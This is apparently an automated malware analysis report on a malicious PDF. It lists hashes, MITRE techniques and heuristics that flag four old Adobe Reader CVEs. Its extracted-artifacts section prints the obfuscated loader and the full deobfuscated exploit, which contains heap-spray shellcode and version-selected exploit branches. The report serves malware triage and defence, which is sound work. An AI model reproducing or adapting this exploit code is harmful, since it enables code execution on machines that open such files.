Malicious PDF — malware analysis report

Static analysis result for SHA-256 27a15fcf6d6a2583…

MALICIOUS

PDF

44.6 KB First seen: 2026-05-09
MD5: c9c15b9fc361e1a777372f8778271259 SHA-1: 4b30aa3532da1ab3a881866497cd72dcb1165312 SHA-256: 27a15fcf6d6a25835cf8709c18a48a3a175ba27a2884a3771c079dc8937d9921
408 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The ML classifier strongly indicates maliciousness, and heuristics confirm the presence of embedded JavaScript within the PDF. This JavaScript is likely intended to exploit a vulnerability in the PDF reader to execute arbitrary code. The 'test' in the document body is likely a placeholder and does not provide further context on the lure.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF64 552 bytes
SHA-256: a4e92bd3c1e7fe18a2a8afdfa962a7d4961ca7580c3f4133351fb915a955d091
Preview script
First 1,000 lines of the extracted script
bjsc='';
v='su';
try{[1,2][6].as();}catch(e){v+=('wqg','bst');}
qwe = ('nhsthn','ntrht')[v+'r'];
g = qwe();
t='le';
a=["e","a","n","b","w",'v','r'];
e=g[a[0]+a[5]+a[1]+('q',t[v+'r'](0,1))];
e('vnudv=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
s=vnudv[v+a[6]](10,4) + 'tr';
kvq=e('String.fro'+vnudv[s](1,9));
q=vnudv[vnudv[v+'r'](10,4) + 'tr'](14);
rle = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=rle.length');
for (i = 0; i < k; i+=2) {
	inh = rle[i+1] + ('erybjkerl',rle[i]);
	bjsc += kvq(inh);
}
e(bjsc);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3648 bytes
SHA-256: d7fc79f40b257df47298e668a2023e601bc5499d3d48c1a8731b9d115a3d26f5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3ab9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%udb34%ue2aa%uc3fa%ue5e8%uffff%u32ff%udad7%udbdb%u5a85%u8737%udbda%u52db%u563c%ucb94%ub456%uea8f%u8c00%u888a%u8888%u8888%u8888%u888e%ub388%udadf%udbdb%u8d8e%ub388%ub5b4%udbdb%uaeb3%ub7a9%u8fb6%u55b3%ud595%u3337%udb93%udbdb%u338b%udba7%udbdb%u0b24%u1f58%ub3d3%u3494%ude94%u338b%udbb7%udbdb%u0b24%u1b5e%uccae%u8fb1%u2882%ub371%u25a9%ucd68%uc633%udbdb%u8bdb%u8a33%udbdb%u24db%u880b%u25b1%u52b3%udab4%u3366%udbd3%udbdb%u338b%udbe7%udbdb%u0b24%ueabb%ubf1b%u8b50%u50eb%ud789%u8950%u50cf%uf3a9%uc362%udbdb%ueadb%uea24%u771b%ubae7%ud9a7%ufbf7%u141a%udad6%u391c%u5a2b%u8024%u9167%u50b1%ucb99%uc950%u02ae%u9f52%uc7ff%u18ba%u50bb%uffb7%u50ff%ue79e%u8f50%ua3de%u31da%u9150%u50c3%ufb81%u30da%uef38%u5092%u50ef%u35da%u24ea%u1bea%u7727%u1b5f%udcaf%u141a%udad6%u301c%ue02f%uffa7%uaef3%u503a%uff81%u30da%u50bd%u90d7%u8150%udac7%u5030%u50df%u33da%u9f52%uc7ff%u19ba%udbd3%u3433%u2425%ub324%uafaf%ue1ab%uf4f4%ubebc%ubca9%ubfbd%ubcf5%uf5ad%ubcad%ubff4%uabf5%uabb3%ubde4%ue9e6%ueae3%ubefd%ueee6%u00db';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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